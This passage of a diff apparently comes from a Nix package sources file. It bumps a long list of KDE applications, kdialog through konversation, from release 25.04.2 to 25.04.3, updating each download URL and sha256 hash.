+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdialog-25.04.3.tar.xz",
+    "hash": "sha256-35fRq3kwFhU27EEYTkPNAN5+RraGcp7wOiklJOFE+uM="
   },
   "kdiamond": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdiamond-25.04.2.tar.xz",
-    "hash": "sha256-h3kWpRe7Ej97VSJ64YGqGq2Dxp5rmbvgIdDH/cyNfY8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdiamond-25.04.3.tar.xz",
+    "hash": "sha256-/2+A+GhGcdJPJGTa2jxtIaNBTzQDzAlwDd5GrPrZqHA="
   },
   "keditbookmarks": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/keditbookmarks-25.04.2.tar.xz",
-    "hash": "sha256-Y55e/2u5YhlQiMc2Dq+za/mq861wDRYMBl0mP02dgjM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/keditbookmarks-25.04.3.tar.xz",
+    "hash": "sha256-3/bn0Zb0au95losTuubsEAk837fkUm/ecxCRPKcvUTo="
   },
   "keysmith": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/keysmith-25.04.2.tar.xz",
-    "hash": "sha256-q9qVQj0bZtM0pXI6cfJcJ0CIUm3CW9Qqv8vcf/6DAPI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/keysmith-25.04.3.tar.xz",
+    "hash": "sha256-fII6yKb31w37DSuKXEu8pcC/pDlZZxd20BeMTllprpA="
   },
   "kfind": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kfind-25.04.2.tar.xz",
-    "hash": "sha256-8oKy0ySqnWEFRm+y8F/3s0Sj3WoQv4IZ4YLEmPKsmNo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kfind-25.04.3.tar.xz",
+    "hash": "sha256-DH0AsG/e+7embyZlGWswcsF/aEZnnqmyk76b8xCIwWA="
   },
   "kfourinline": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kfourinline-25.04.2.tar.xz",
-    "hash": "sha256-2kLqtEZ/Bm2Xg9+1TWS651xHBGcXvfur0SIykfSVd4Q="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kfourinline-25.04.3.tar.xz",
+    "hash": "sha256-rG+hzm+xy8TDVFTXwq7aksgenyYA9ka8c981w3ex9mk="
   },
   "kgeography": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kgeography-25.04.2.tar.xz",
-    "hash": "sha256-qDW+rFahTiBYUpQY0Gj5UxfmJvjYELm40XsktsZ2/vc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kgeography-25.04.3.tar.xz",
+    "hash": "sha256-aEp+YZNKcCVISj4ll1vw1Qq9kXs1GknRUqCaarK/7Tk="
   },
   "kget": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kget-25.04.2.tar.xz",
-    "hash": "sha256-xsnRB73/vC0ZhV8pjFY0o0GoLWyj4bQwzmCMfBDVgME="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kget-25.04.3.tar.xz",
+    "hash": "sha256-S3Sq7P1zAghIj0gLx1+XfotInMH+VzdifybEhuKQlUQ="
   },
   "kgoldrunner": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kgoldrunner-25.04.2.tar.xz",
-    "hash": "sha256-GkiUGSDCUEvzUiURBZOkw85qW3rbizZZl0W9ZkpoXcI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kgoldrunner-25.04.3.tar.xz",
+    "hash": "sha256-XWeEjrM4XVlIfuKAn4vETvn71S2ymXjLBIflqc2vHn0="
   },
   "kgpg": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kgpg-25.04.2.tar.xz",
-    "hash": "sha256-qtnDIuPwfeVbyf1aVcZVugr9skyyUAh5t8r8Hx7gO+0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kgpg-25.04.3.tar.xz",
+    "hash": "sha256-Py7G3FsSIZCHMAZidL0NL27+XATCp5tyDLJdzlR+Dk4="
   },
   "kgraphviewer": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kgraphviewer-25.04.2.tar.xz",
-    "hash": "sha256-SEv4Eyoey+wKn88FJ0uwgIHm0oiIKpg16GyzF3p3Qr8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kgraphviewer-25.04.3.tar.xz",
+    "hash": "sha256-e3nbzMQ+E8JtdrJga37Gwth+hXoRbKLHFQ0xiN/fhw8="
   },
   "khangman": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/khangman-25.04.2.tar.xz",
-    "hash": "sha256-jx6XxMZriopAFQ5m8wD5reL8F+oiKklTDI4ZCl1PTh0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/khangman-25.04.3.tar.xz",
+    "hash": "sha256-6RVZQyQvGL/t8Bzr/nu8B5jqBnd+pdogZy0vTyjujQ0="
   },
   "khealthcertificate": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/khealthcertificate-25.04.2.tar.xz",
-    "hash": "sha256-k8SkDy3W6UhyoTOrUJt6KXKmxCOMjYxhb7tj6Ui6nLM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/khealthcertificate-25.04.3.tar.xz",
+    "hash": "sha256-DAWq118XljAnWy3pToXMO1cf2XbWBqwjOacBm8bNDJk="
   },
   "khelpcenter": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/khelpcenter-25.04.2.tar.xz",
-    "hash": "sha256-Wsmsq9Ynh+4x+ImJF2WFM+yhdfNhmDJfCdN0gCrL7uo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/khelpcenter-25.04.3.tar.xz",
+    "hash": "sha256-SRQLPzH+gqsJk3JFAP8b75yAQccjSjuDHMmt63ERQRE="
   },
   "kidentitymanagement": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kidentitymanagement-25.04.2.tar.xz",
-    "hash": "sha256-ifcA+re8z6gEp/iz80GPBI7zw6qXs24QK+up4SJuBF0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kidentitymanagement-25.04.3.tar.xz",
+    "hash": "sha256-E6Ai5eqEW0tlmCxTPXBYiCgoBeDORFF+zNbiS41ePn8="
   },
   "kig": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kig-25.04.2.tar.xz",
-    "hash": "sha256-Hi3njHbTiGPJ2g3vICWPQe1aeV3A8wc+BgCCYE6Advs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kig-25.04.3.tar.xz",
+    "hash": "sha256-It9UJwC6G+nMH9Lv6PbLqgJRywqs0acbRtDCG2cbxaM="
   },
   "kigo": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kigo-25.04.2.tar.xz",
-    "hash": "sha256-/It27PayRKxAYBL4XaetwHnz1vdCzoEJPu82i/hFAGs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kigo-25.04.3.tar.xz",
+    "hash": "sha256-6I/8LSSp5qFL7YiyTaaZq8+ABz0xQp0pXVIv9Qhe+Hg="
   },
   "killbots": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/killbots-25.04.2.tar.xz",
-    "hash": "sha256-eQwxYwBqzEhIHWzVDSpUc9em8bOnCVymSClpZ3DcIvw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/killbots-25.04.3.tar.xz",
+    "hash": "sha256-tbWTc2T250TgSpB2qZRVH4oFQbj8nAnIUiA/JhxsNoY="
   },
   "kimagemapeditor": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kimagemapeditor-25.04.2.tar.xz",
-    "hash": "sha256-U+nvufGAfdn+63hZAwHiYH+DFlbIB9U4UsFOZ5ZNjY0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kimagemapeditor-25.04.3.tar.xz",
+    "hash": "sha256-GKARfo1VUw5qg6V4RbFCz6SVHxzjPIcBIgd+sikIlkA="
   },
   "kimap": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kimap-25.04.2.tar.xz",
-    "hash": "sha256-fSqjYKnDG6YbpAyUYCFKLva/6jXlZRcp+FWiAokmZ74="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kimap-25.04.3.tar.xz",
+    "hash": "sha256-KtwaiSjQcF8xr9YFDcKEBpCuC2JQ9VsbyVJXn0QDMe4="
   },
   "kio-admin": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-admin-25.04.2.tar.xz",
-    "hash": "sha256-x6foaTlqemh3ChPFsRXHEWnqSuhOHrj3PEAgNhJDykc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kio-admin-25.04.3.tar.xz",
+    "hash": "sha256-y1gIZvSEBQ/QbLgaxVe/3gv+B0uxOU6zHNkiK+CLW1k="
   },
   "kio-extras": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-extras-25.04.2.tar.xz",
-    "hash": "sha256-02wKiCfwkAfSV+9MoG608hI9t6OCVbo3/gdIq2Odf5k="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kio-extras-25.04.3.tar.xz",
+    "hash": "sha256-8LYwY55HZs6FufhES1uHf8O0DgnsL86w2WHv9JFNP8g="
   },
   "kio-gdrive": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-gdrive-25.04.2.tar.xz",
-    "hash": "sha256-anNSK6H+giTv64rcalspAtVZKHBuVSCtS0o7u08RTPA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kio-gdrive-25.04.3.tar.xz",
+    "hash": "sha256-qSfI6YkH5ug+DWdhsmzdXCXOSGBfzDpcvCwaizv6GyI="
   },
   "kio-zeroconf": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kio-zeroconf-25.04.2.tar.xz",
-    "hash": "sha256-0HW9qtxFjou5g813sn6CcYiep9uOHN8LP6usipIAulw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kio-zeroconf-25.04.3.tar.xz",
+    "hash": "sha256-1lEEaFnIS8NZGi2I2vrQ5HrWSJ4lZVruI8HPQWZ/6sU="
   },
   "kirigami-gallery": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kirigami-gallery-25.04.2.tar.xz",
-    "hash": "sha256-+VjlCzl9fXvaF0hCrcLw+Ot48wiJOrDadMlinc/Jp/c="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kirigami-gallery-25.04.3.tar.xz",
+    "hash": "sha256-ipRgnhvPFPQijn7Y0AlFARqPNUTxPoupnzWikzJ+4G4="
   },
   "kiriki": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kiriki-25.04.2.tar.xz",
-    "hash": "sha256-YSemlcWQ/qSXbuszQOTCwSh23kZpZwDRznbAlxqG3R8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kiriki-25.04.3.tar.xz",
+    "hash": "sha256-H08z+28qJpmLIi96ZwvZj3AtD3jUyBKBDCgNGLI1W9s="
   },
   "kiten": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kiten-25.04.2.tar.xz",
-    "hash": "sha256-zMiHCKbwdD55UoddYkTzPA06NXCLEUkCCX7ma7WUaPQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kiten-25.04.3.tar.xz",
+    "hash": "sha256-fH/LoXB7Or3qhiSSL1XhgSdKWYIT1Q8iLGKwO+r2wPQ="
   },
   "kitinerary": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kitinerary-25.04.2.tar.xz",
-    "hash": "sha256-duOjQGg29jGzBOlOj+0QsZxSzAzBRljROezPQSjDU28="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kitinerary-25.04.3.tar.xz",
+    "hash": "sha256-ypOghv7M8PNtTKVqn1zPUZQ9fhlFs5La8hHkLxKBOdQ="
   },
   "kjournald": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kjournald-25.04.2.tar.xz",
-    "hash": "sha256-K8MgzXF0t0Vnctf5HPcUk+oPaniG7GLzRwVMDU9NDUI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kjournald-25.04.3.tar.xz",
+    "hash": "sha256-NkmpgJLX8dqJOeWaVd0j345cKXLPBbZEO9myovAZAhE="
   },
   "kjumpingcube": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kjumpingcube-25.04.2.tar.xz",
-    "hash": "sha256-d1hKNpsytpFHSKz+gLORcYhP4lH0kcOc0metmgfs+5Q="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kjumpingcube-25.04.3.tar.xz",
+    "hash": "sha256-L6d3H3o45C5IAP65PZh9YzMFtYLV7ruyq1QD8PZ2F8U="
   },
   "kldap": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kldap-25.04.2.tar.xz",
-    "hash": "sha256-sEgzLgwFxJB0cB6rk/K1m161bjosGV+3GJeWdHRqrmI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kldap-25.04.3.tar.xz",
+    "hash": "sha256-8I9Kcu/hvNGXs+YzI6pPp6CSctQIuKB9tLYcR5LiC38="
   },
   "kleopatra": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kleopatra-25.04.2.tar.xz",
-    "hash": "sha256-0VXEFhA/rRc8Nh6hDz6h9hQil8xb41mOmwYkYTNqNHY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kleopatra-25.04.3.tar.xz",
+    "hash": "sha256-fJrZ0QzTaNWM2t1B94uKQYU7jNKxXrVUcvO1znB60cI="
   },
   "klettres": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/klettres-25.04.2.tar.xz",
-    "hash": "sha256-+Zfo6ziXD3P724qlbtesQyBG5JqHAfQ5kIQki4w72tw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/klettres-25.04.3.tar.xz",
+    "hash": "sha256-5mazGcvomE8S5dC/DYgmHLUQioZ9VdtG3ib+r1l4/1Q="
   },
   "klickety": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/klickety-25.04.2.tar.xz",
-    "hash": "sha256-TbH2zg94I6EKBtUa5Jkx+mJoM/yfAztMXzTMOIcKCmY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/klickety-25.04.3.tar.xz",
+    "hash": "sha256-AeaHzIPeXG6poxUsjYFfHWgANj4c5MWQJu2EU4h5RZs="
   },
   "klines": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/klines-25.04.2.tar.xz",
-    "hash": "sha256-PfN6KQMEWtD6wBHNjRCw9EltjZlObufKuOUqzi/W9IM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/klines-25.04.3.tar.xz",
+    "hash": "sha256-vRo/e1aBh+cXRewwbmZJgYPyerqb/zuHnzVsxptgCgQ="
   },
   "kmag": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmag-25.04.2.tar.xz",
-    "hash": "sha256-GvbF0bCTusFoWGEzPAk+rzUcR/e6PDS375j+uk+rYfk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmag-25.04.3.tar.xz",
+    "hash": "sha256-CKWfOAV0nJSIxto8yEeYSb5Yn6RoQ43IEf7A5tufBsM="
   },
   "kmahjongg": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmahjongg-25.04.2.tar.xz",
-    "hash": "sha256-Y36SRNOWSvw1eoT5Rf3cNWGllF+cLgiUnVF20HYdy0c="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmahjongg-25.04.3.tar.xz",
+    "hash": "sha256-bGe1awgj+srpewBh2yYT2NkBFR0m8ZXofggzBXtmt5U="
   },
   "kmail": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmail-25.04.2.tar.xz",
-    "hash": "sha256-zLbVmYxklZRUh5wbBZx/4s0dwFuI9pj8LGDmHe7hlDM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmail-25.04.3.tar.xz",
+    "hash": "sha256-Gepz3GF7OXcqizySoLhhMr7mFQykaS0/e3dr90xB9Qk="
   },
   "kmail-account-wizard": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmail-account-wizard-25.04.2.tar.xz",
-    "hash": "sha256-Etdi+bDcxnv+nSbgvE2twM9KDPPRQoTOREHEXWPHbM4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmail-account-wizard-25.04.3.tar.xz",
+    "hash": "sha256-C0Yp7hv5GeeoSWxkQWJZGvx+v6NkOVVcH73rkibpBf0="
   },
   "kmailtransport": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmailtransport-25.04.2.tar.xz",
-    "hash": "sha256-Me7uiJLNUmXfFt22/d0jmjK+XI5Ba5GXkrYR0VnUMR4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmailtransport-25.04.3.tar.xz",
+    "hash": "sha256-Nk5OcGi+U++5lFOaJz3MDhekXWCmMWQwekXNs+LfWHk="
   },
   "kmbox": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmbox-25.04.2.tar.xz",
-    "hash": "sha256-40g5b7jx3hcp0EFRFrBfYiDw67RCjEYHuYtW7dMh8ao="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmbox-25.04.3.tar.xz",
+    "hash": "sha256-j2BL3IdYezvE2UStgsF1h8jbGTDWQ1/bxOX4+xf2cn4="
   },
   "kmime": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmime-25.04.2.tar.xz",
-    "hash": "sha256-YQLBGRo0R1r0Y/eG50B+6fMou3X5OhI15Rqz72JQDTo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmime-25.04.3.tar.xz",
+    "hash": "sha256-I+znHYOSYQJLhhykuVbqB4fuWduIPRe+qDI2qvi9oeo="
   },
   "kmines": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmines-25.04.2.tar.xz",
-    "hash": "sha256-AblEqfj4wDh49qrB1ramvKaVDtVaGQlCYSiqpytDZ38="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmines-25.04.3.tar.xz",
+    "hash": "sha256-/TfF1tGifkhB9c1g5nY/eTGCEA/AC1xQ88Kz4aqdl4M="
   },
   "kmix": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmix-25.04.2.tar.xz",
-    "hash": "sha256-hnQWCire1iOcwvZlklpu//vjwm4a+S+dg/FejlvGzQ8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmix-25.04.3.tar.xz",
+    "hash": "sha256-PY6wK7TBgLAF6VsspctqK2Mm549TnYP9OFBR++aC69I="
   },
   "kmousetool": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmousetool-25.04.2.tar.xz",
-    "hash": "sha256-Q8TNy6F2DN7asJOcdA8Bff+YNQr1FPKvkzd130WFrKQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmousetool-25.04.3.tar.xz",
+    "hash": "sha256-rBtkyFdIIBJfLBpYiTPWRM2kCKCHe4rGbVB9kgTn6nw="
   },
   "kmouth": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmouth-25.04.2.tar.xz",
-    "hash": "sha256-3D3k1KJO01LFSILPrgQWNZrY41unFj7z0qpL+4K8jlc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmouth-25.04.3.tar.xz",
+    "hash": "sha256-K9wPSQhxdmFM2YMkEidSs2YofkAjI/8dda6sp/dI0GM="
   },
   "kmplot": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kmplot-25.04.2.tar.xz",
-    "hash": "sha256-umnMlPMCSsZ3Pdz4aXNGnj9yZjid2Z9r+AzqPbO653w="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kmplot-25.04.3.tar.xz",
+    "hash": "sha256-h/skKibsKOM5INgH087IeA6AzlqmwWytf8dtWGN6M6I="
   },
   "knavalbattle": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/knavalbattle-25.04.2.tar.xz",
-    "hash": "sha256-c/7wgb2wzWz3l9KAdgVZ0yn9ov13tnDZ3A30vSP39z0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/knavalbattle-25.04.3.tar.xz",
+    "hash": "sha256-l7LStWMtAAw9bt37GcnTzEQUMA3FyAUyLW6wuyQcUhU="
   },
   "knetwalk": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/knetwalk-25.04.2.tar.xz",
-    "hash": "sha256-EIA1GxhUXHO3EGGoSWMqDUEsz7iI7nZhPNQ+7Fl1DR0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/knetwalk-25.04.3.tar.xz",
+    "hash": "sha256-F4f8RVa5jFCdq+aRih9SIcXpIroisXw1aswaO5JD5IA="
   },
   "knights": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/knights-25.04.2.tar.xz",
-    "hash": "sha256-tGPxQpnk7rtfF4BdMzXEpAuEKYwl3YPB5Eq3WDHssu8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/knights-25.04.3.tar.xz",
+    "hash": "sha256-3SYUM0BVg3uxWmtUgCWZi87qWq9CRIR/Kn905Opbb84="
   },
   "koko": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/koko-25.04.2.tar.xz",
-    "hash": "sha256-xaDhc9FotCjkVRz8TQnNZXxG8bJjOWz/OH+Ao+85LSk="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/koko-25.04.3.tar.xz",
+    "hash": "sha256-zuswvsChhGdYNJ4TtRnPmAUMRMT8Q3yxNzg8B/rZgSM="
   },
   "kolf": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kolf-25.04.2.tar.xz",
-    "hash": "sha256-EJyr9KaIFb2pauyfH8IdiSsWVB14IFs69/cfIn/0suA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kolf-25.04.3.tar.xz",
+    "hash": "sha256-IT+7Uc9kScMuF5rQFbJwTTRYJ0PBDgVYU/bK4RwHaZo="
   },
   "kollision": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kollision-25.04.2.tar.xz",
-    "hash": "sha256-gv6usFPygqO8CzlJpP0Jag+u2KZFNcKOvl+iKlroOgY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kollision-25.04.3.tar.xz",
+    "hash": "sha256-GHf+1B1RqNUmsM+nN6ZRT3OrhrvwlyGuY+k8lD1BWfg="
   },
   "kolourpaint": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kolourpaint-25.04.2.tar.xz",
-    "hash": "sha256-dOSV2MEC/iBrxOFz/lMTSkOXoNe1LOBiia8hgFuqUhA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kolourpaint-25.04.3.tar.xz",
+    "hash": "sha256-gZubrRXZJ7FQuVrHHTmPBN85J2K4SLtr5hnj/aM1fR8="
   },
   "kompare": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kompare-25.04.2.tar.xz",
-    "hash": "sha256-ujxFmgH7f+kvF6Z0YnjrYQlXxJwQyzEWAbiMFxQ1bDM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kompare-25.04.3.tar.xz",
+    "hash": "sha256-47+cnoTbzuD8OfeCYRSfk7+M3WSUq+LGcIvOYt5RzJI="
   },
   "kongress": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kongress-25.04.2.tar.xz",
-    "hash": "sha256-glDewDOwCLADnAmsyOfXG+TNaO8tg0Byb0K6kqOgagY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kongress-25.04.3.tar.xz",
+    "hash": "sha256-S70GwtqO3TQzwboO3WNNFhYazlCotLfIDNmR7obWAgE="
   },
   "konqueror": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/konqueror-25.04.2.tar.xz",
-    "hash": "sha256-c9mgvHCwKOTydLBPfovwlfpakLNCpMZCSzdp+S1TLl0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/konqueror-25.04.3.tar.xz",
+    "hash": "sha256-J9quIA7LRBZp0M/SaTciVuGDsoQByptJhrboYtwqatA="
   },
   "konquest": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/konquest-25.04.2.tar.xz",
-    "hash": "sha256-fEdwkMbv/wMbt8LckjqDJWu+p3xv0xfZF7Vfe5FjpEo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/konquest-25.04.3.tar.xz",
+    "hash": "sha256-LsNXYyCBE2/CpKdnce+enCEy28FsihP0ssUQRv0y4VM="
   },
   "konsole": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/konsole-25.04.2.tar.xz",
-    "hash": "sha256-ac1sfoTLyz30EifNMRVJilqt3KZkGAKJjXnltORnu/s="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/konsole-25.04.3.tar.xz",
+    "hash": "sha256-L2gz4ipx9BkefuRfPc434io7420PpZL9//ziB6ysOTk="
   },
   "kontact": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kontact-25.04.2.tar.xz",
-    "hash": "sha256-Rn5zb1VCnvuYACnN15a849cSf5QXvtLGQptRsonVxhU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kontact-25.04.3.tar.xz",
+    "hash": "sha256-rntlcREXVo7xFJYo7WjqgeCK+kFLJz0GqGVNGm9TdIk="
   },
   "kontactinterface": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kontactinterface-25.04.2.tar.xz",
-    "hash": "sha256-h7N72peJleg4DfUWJzirskiGTclxq/RrGKvDo3z27Pc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kontactinterface-25.04.3.tar.xz",
+    "hash": "sha256-Wnq0wY88dTeCtdO5rGMhNlH0Jo/7aYsMYgbP8yNhQTE="
   },
   "kontrast": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kontrast-25.04.2.tar.xz",
-    "hash": "sha256-QQ/6KAI1pOMneo7+lTxOE0cU3XJBkTFlvCSqqhNQwcI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kontrast-25.04.3.tar.xz",
+    "hash": "sha256-XME09K9Mbau659+DyJRcOYbLmuBFXQ0xVRf6lpBe7Pg="
   },
   "konversation": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/konversation-25.04.2.tar.xz",
-    "hash": "sha256-ua5EG9zP00ytn/2UBb+ipolh0ey8dF7gBQJ323yap2A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/konversation-25.04.3.tar.xz",
+    "hash": "sha256-uwCoZNfX9ATxysbU0uQVvQOMi/6RNkXandoar3DQbDc="
   },
   "kopeninghours": {
-    "version": "25.04.2",
